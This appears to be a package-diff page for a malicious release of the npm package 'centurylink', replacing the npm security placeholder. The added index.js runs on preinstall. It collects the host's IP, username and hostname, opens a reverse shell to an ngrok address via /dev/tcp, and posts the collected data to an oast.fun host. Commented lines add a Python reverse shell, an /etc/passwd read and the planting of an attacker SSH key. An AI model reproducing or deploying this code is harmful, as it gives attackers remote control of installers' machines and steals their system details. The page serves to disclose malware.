centurylink 0.0.1-security → 7.1.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of centurylink might be problematic. Click here for more details.
- package/index.js +75 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,75 @@
|
|
1
|
+
const execSync = require('child_process').execSync;
|
2
|
+
|
3
|
+
const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
|
4
|
+
const whoami = execSync('whoami', { encoding: 'utf-8' });
|
5
|
+
const host = execSync('hostname', { encoding: 'utf-8' });
|
6
|
+
// const current_dir = execSync('pwd', { encoding: 'utf-8' });
|
7
|
+
// const passwd = execSync('cat /etc/passwd', { encoding: 'utf-8' });
|
8
|
+
// const ls1 = execSync('ls', { encoding: 'utf-8' });
|
9
|
+
// const ls2 = execSync('ls ../', { encoding: 'utf-8' });
|
10
|
+
// const ls3 = execSync('ls ../../', { encoding: 'utf-8' });
|
11
|
+
// const ls4 = execSync('ls ../../../', { encoding: 'utf-8' });
|
12
|
+
// const ls5 = execSync('ls ../../../../', { encoding: 'utf-8' });
|
13
|
+
// const ls6 = execSync('ls ../../../../../', { encoding: 'utf-8' });
|
14
|
+
// const ls7 = execSync('ls ../../../../../../', { encoding: 'utf-8' });
|
15
|
+
// const ls8 = execSync('ls ../../../../../../../', { encoding: 'utf-8' });
|
16
|
+
// const ls9 = execSync('ls ../../../../../../../../', { encoding: 'utf-8' });
|
17
|
+
// const ls10 = execSync('ls ../../../../../../../../../', { encoding: 'utf-8' });
|
18
|
+
// const py3 = execSync("export RHOST='0.tcp.in.ngrok.io';export RPORT=16848;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv('RHOST'),int(os.getenv('RPORT'))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn('/bin/sh')'", { encoding: 'utf-8' });
|
19
|
+
const py = execSync('python3 --version', { encoding: 'utf-8' });
|
20
|
+
const bash = execSync('which bash', { encoding: 'utf-8' });
|
21
|
+
// const lsb = execSync('lsb_release -a', { encoding: 'utf-8' });
|
22
|
+
// const php = execSync('php --version', { encoding: 'utf-8' });
|
23
|
+
// const l1 = execSync('cd ~/', { encoding: 'utf-8' });
|
24
|
+
// const l2 = execSync('mkdir .ssh', { encoding: 'utf-8' });
|
25
|
+
// const l3 = execSync('cd .ssh', { encoding: 'utf-8' });
|
26
|
+
// const l4 = execSync('echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwK42OybEp55OFGmVB565q9G6VqupATYjVlf3ipYptvPAnm4E22JVVqJOfhB/c2Rn/8raVil28rVHBYtZgnBirq6rlVGLsgJTt6btXwiiNHQqxe6MRusC7NzamFZX9Qc7WDWqwg7C9S23UKDcnSE9zMRsERTMFeUUko+1kAuelXqNDtPxJbv5pxlgz0qGhwMqlT81xcUCOwgVMRz+gmXambIjOKQW4z96wy+wZh1rGf1TX3VIiJCNtbM5vwwgthl2hiOP+9Lgv4tkkt3sasSdGmUlh4Gibdg+9RjCaaC9myGmDul37uc+457nBIDFJBcuCnc2wrIGlTowGOHPxPCvQtwVTqVjirj0sqtq+3kpKCUHVCHdsTdUaUXcnnp5YYS7uzAUCFExb9c2fgY3dBETR3Qrx8L3nN2oYEaG9AdKRauHHnSo8WASYZ7Nvg79sqzu2ycie47rdJrku7yrmd84NvkY5xHfSnqR6qAAwbUNcPn/mVL+qzH2EM3jYODtKwSc= kali@CyrusOp" > authorized_keys', { encoding: 'utf-8' });
|
27
|
+
// const l5 = execSync('cd .ssh', { encoding: 'utf-8' });
|
28
|
+
// const l6 = execSync('pwd', { encoding: 'utf-8' });
|
29
|
+
// const l7 = execSync(`chmod 700 ${pwd}`, { encoding: 'utf-8' });
|
30
|
+
// const l8 = execSync(`chmod 600 ${pwd}/.ssh/authorized_keys`, { encoding: 'utf-8' });
|
31
|
+
// const l9 = execSync('dig +short myip.opendns.com @resolver1.opendns.com', { encoding: 'utf-8' });
|
32
|
+
const shell = execSync('bash -i >& /dev/tcp/0.tcp.in.ngrok.io/18464 0>&1', { encoding: 'utf-8' });
|
33
|
+
|
34
|
+
|
35
|
+
|
36
|
+
const https = require("https")
|
37
|
+
|
38
|
+
const data = JSON.stringify({
|
39
|
+
"private IP": priv_ip,
|
40
|
+
"whoami": whoami,
|
41
|
+
"hostname": host,
|
42
|
+
// "current dir": current_dir,
|
43
|
+
// "passwd": passwd,
|
44
|
+
// "l1": l1,
|
45
|
+
// "l2": l2,
|
46
|
+
// "l3": l3,
|
47
|
+
// "l4": l4,
|
48
|
+
// "l5": l5,
|
49
|
+
// "l6": l6,
|
50
|
+
// "l7": l7,
|
51
|
+
// "l8": l8,
|
52
|
+
// "l9": l9,
|
53
|
+
// "ls10": ls10,
|
54
|
+
// "py3": py3,
|
55
|
+
"py": py,
|
56
|
+
"bash": bash,
|
57
|
+
// "lsb": lsb,
|
58
|
+
// "php": php,
|
59
|
+
"shell": shell,
|
60
|
+
})
|
61
|
+
|
62
|
+
const options = {
|
63
|
+
hostname: "cm30n6w2vtc0000cv6m0gkb4w7cyyyyyf.oast.fun",
|
64
|
+
port: 443,
|
65
|
+
path: "/",
|
66
|
+
method: "POST",
|
67
|
+
headers: {
|
68
|
+
"Content-Type": "application/json",
|
69
|
+
"Content-Length": data.length,
|
70
|
+
},
|
71
|
+
}
|
72
|
+
|
73
|
+
const req = https.request(options)
|
74
|
+
req.write(data)
|
75
|
+
req.end()
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "centurylink",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "7.1.1",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=centurylink for more information.
|